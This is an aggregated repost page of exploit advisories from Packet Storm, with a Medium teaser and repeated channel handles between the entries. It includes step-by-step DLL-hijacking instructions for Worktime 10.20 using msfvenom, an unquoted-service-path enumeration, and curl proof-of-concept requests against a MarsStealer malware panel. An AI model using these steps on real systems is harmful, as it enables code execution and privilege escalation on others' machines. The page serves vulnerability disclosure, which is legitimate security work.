Day 14, Set Up Environment for Pentesting #100DaysofHacking
https://infosecwriteups.com/day-14-set-up-environment-for-pentesting-100daysofhacking-f8069e91fcd2?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Get all the writeups from Day 1 to 13, Click Here Or Click Here.Continue reading on InfoSec Write-ups » (https://infosecwriteups.com/day-14-set-up-environment-for-pentesting-100daysofhacking-f8069e91fcd2?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Worktime 10.20 Build 4967 DLL Hijacking

https://3.bp.blogspot.com/-UEPmQpzFyCs/WWlvQSuTgiI/AAAAAAAAINA/LFaHvgtClFA67K--PZO5ZJSS69Dsl8UBACLcBGAs/s1600/h31.png
Worktime version 10.20 Build 4967 suffers from a dll hijacking vulnerability.

MD5 | 1b4f869012ea77e97e2c873843b08c74

Download
/*
Description:
A vulnerability exists in windows that allows other applications dynamic link libraries
to execute malicious code without the users consent, in the privelage context of the targeted application.

Exploit Title: Worktime 10.20 Build 4967 DLL Hijacking Exploit
Date: 15/01/2022
Author: Yehia Elghaly
Vendor: https://www.worktime.com/
Software: https://www.worktime.com/download/worktime_corporate.exe
Version: Latest Worktime 10.20 Build 4967
Tested on: Windows 7 Pro x86 - Windows 10 x64
Vulnerable extensions: .htm .html
Vulnerable DLL: (ibxml.dll - WINSTA.dll)
*/
Instructions:

1. Create dll using msfvenom (sudo msfvenom --platform windows -p windows/messagebox TEXT="Work Time Hacked - YME" -f dll > ibxml.dll) or compile the code
2. Replace ibxml.dll in Worktime directory C:\Program Files\WorkTimeAdministrator or C:\WorkTime with your newly dll
3. Launch WorkTimeServer.exe or WorkTimeAdministrator.exe
4. PoP UP MessageBox!
#include
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Worktime 10.20 Build 4967 Unquoted Service Path

https://4.bp.blogspot.com/-khon6dqGLkI/WWlvkVAr7qI/AAAAAAAAIQw/JwPgE9u6PkcV9AqklLFI3rOjfEX9YXC4QCLcBGAs/s1600/h96.png
Worktime version 10.20 Build 4967 suffers from an unquoted service path vulnerability.

MD5 | 840d8eada4c5411e9ce09257e2024d5b

Download
# Exploit Title: WorkTime 10.20 Build Build 4967 Unquoted Service Path
# Discovery by: Yehia Elghaly
# Date: 30-12-2021
# Vendor Homepage: https://www.worktime.com/
# Software Link: https://www.worktime.com/download/worktime_corporate.exe
# Tested Version: 10.20 Build Build 4967
# Vulnerability Type: Unquoted Service Path
# Tested on: Windows 7 x86 - Windows Server 2016 x64

# Step to discover Unquoted Service Path:

C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto"
|findstr /i /v "c:\windows\\" |findstr /i /v """

WorkTime Server srvWorkTimeServer
C:\WorkTime\WorkTimeServerService.exe
Auto

WorkTime Reports Scheduler WorkTimeReportsScheduler
C:\Program Files\WorkTimeAdministrator\WorkTimeReportsScheduler.exe
Auto

WorkTime Client Watcher Service WTCWatch
C:\Program Files\wtc\WTCWatch.exe WTCWatch
Auto
C:\Users\psycho>sc qc WorkTimeReportsScheduler
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: WorkTimeReportsScheduler
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\Program Files\WorkTimeAdministrator\WorkTimeRepo
rtsScheduler.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : WorkTime Reports Scheduler
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

C:\Users\psycho>sc qc WTCWatch
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: WTCWatch
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\Program Files\wtc\WTCWatch.exe WTCWatch
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : WorkTime Client Watcher Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
HTTP Protocol Stack Denial Of Service / Remote Code Execution

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Cisco IP Phone Cleartext Password Storage

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
OpenBMCS 2.4 Cross Site Request Forgery

https://4.bp.blogspot.com/-yl8JZs3kPK0/WWlvOF1SUeI/AAAAAAAAIMk/jv5-1ECzklsqpq4rMFWFx2wFFGh-Q9GlwCLcBGAs/s1600/h24.png
OpenBMCS version 2.4 suffers from a cross site request forgery vulnerability.

MD5 | 84ffa1edfe22771f2bb7cb564470dfd0

Download

OpenBMCS 2.4 CSRF Send E-mail
Vendor: OPEN BMCS
Product web page: https://www.openbmcs.com
Affected version: 2.4

Summary: Building Management & Controls System (BMCS). No matter what the
size of your business, the OpenBMCS software has the ability to expand to
hundreds of controllers. Our product can control and monitor anything from
a garage door to a complete campus wide network, with everything you need
on board.

Desc: The application interface allows users to perform certain actions via
HTTP requests without performing any validity checks to verify the requests.
This can be exploited to perform certain actions with administrative privileges
if a logged-in user visits a malicious web site.

Tested on: Linux Ubuntu 5.4.0-65-generic (x86_64)
Linux Debian 4.9.0-13-686-pae/4.9.228-1 (i686)
Apache/2.4.41 (Ubuntu)
Apache/2.4.25 (Debian)
nginx/1.16.1
PHP/7.4.3
PHP/7.0.33-0+deb9u9
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2022-5691
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5691.php
26.10.2021

--

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Win32.MarsStealer Web Panel Information Disclosure

https://3.bp.blogspot.com/--aVxNCIn1VA/WWlvnVN-uzI/AAAAAAAAIRQ/ADDhvty6Qn8T3Zf1bX42ni77vOOnTgOQwCLcBGAs/s1600/hack_img5.png
Win32.MarsStealer Web Panel malware suffers from an information leakage vulnerability.

MD5 | fedf0348131e5df167a6ff580bd3d8b4

Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/8abb41f6e7010d70c90f65fd9a740faa.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Win32.MarsStealer Web Panel
Vulnerability: Unauthenticated Remote Information Disclosure
Description: The malware web interface stores screen captures named "screenshot.jpg" in the panel directory, ZIP archived. Third-party attackers who can reach the Mars web server can download any screenshots as no valid session or authentication check is done.

view.php PHP code.

$z = new ZipArchive();
$file ='screenshot.jpg';
$path = $_GET["path"];
if ($z->open(realpath($path)))
{
$stat = $z->statName($file);
$fp = $z->getStream($file);

header('Content-Type: image/jpeg');
header('Content-Length: ' . $stat['size']);
fpassthru($fp);
}
else
{
echo "file not found";
}
Type: WebUI
MD5: 8abb41f6e7010d70c90f65fd9a740faa (MarsStealer_Menu.exe)
MD5: 03c2c5cb3dba09bfa479fd5c50b5a2cf (dashboard.php)
Vuln ID: MVID-2022-0451
Disclosure: 01/15/2022

Exploit/PoC:
curl http://MARSSTEALER_SERVER/mars/panel/view.php?path=screenshot.zip --output screendump.jpg
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Win32.MarsStealer Web Panel Unauthenticated Remote Data Deletion

https://2.bp.blogspot.com/-ulQQD3v8DYI/WWlvnLww_dI/AAAAAAAAIRM/ialO7Idq8vAmWKoyuXUdK7x44tFKJsnBwCLcBGAs/s1600/hack_img4.png
Win32.MarsStealer Web Panel malware suffers from an unauthenticated remote data deletion vulnerability.

MD5 | 72a798b198cb0c6a7d06ff9a9b431768

Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/8abb41f6e7010d70c90f65fd9a740faa_C.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Win32.MarsStealer Web Panel
Vulnerability: Unauthenticated Remote Data Deletion
Description: The Mars-Stealer web interface has a "Grab Rules" component area that lets a user specify which type of files to collect from a system as specified in the "grab_manual.txt" manual. Third-party attackers who can reach the Mars-Stealer server can send an HTTP POST request to delete any grab rule from the "mars" MySQL database grabrule table.

PHP code snippet "markeractions.php"

require_once '../../db.php';

switch (trim($_POST['func'])) {
case "markeradd":
markeradd();
break;
case "markerdelete":
markerdelete();
break;
case "markeractive":
markeractive();
break;
}

Type: WebUI
MD5: 8abb41f6e7010d70c90f65fd9a740faa (MarsStealer_Menu.exe)
MD5: 03c2c5cb3dba09bfa479fd5c50b5a2cf (dashboard.php)
Vuln ID: MVID-2022-0453
Disclosure: 01/15/2022

Exploit/PoC:
c:/>curl http://MARS_STEALER_SERVER/mars/panel/includes/grabactions.php --data "func=grabdelete&id=1"
"deleted"

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video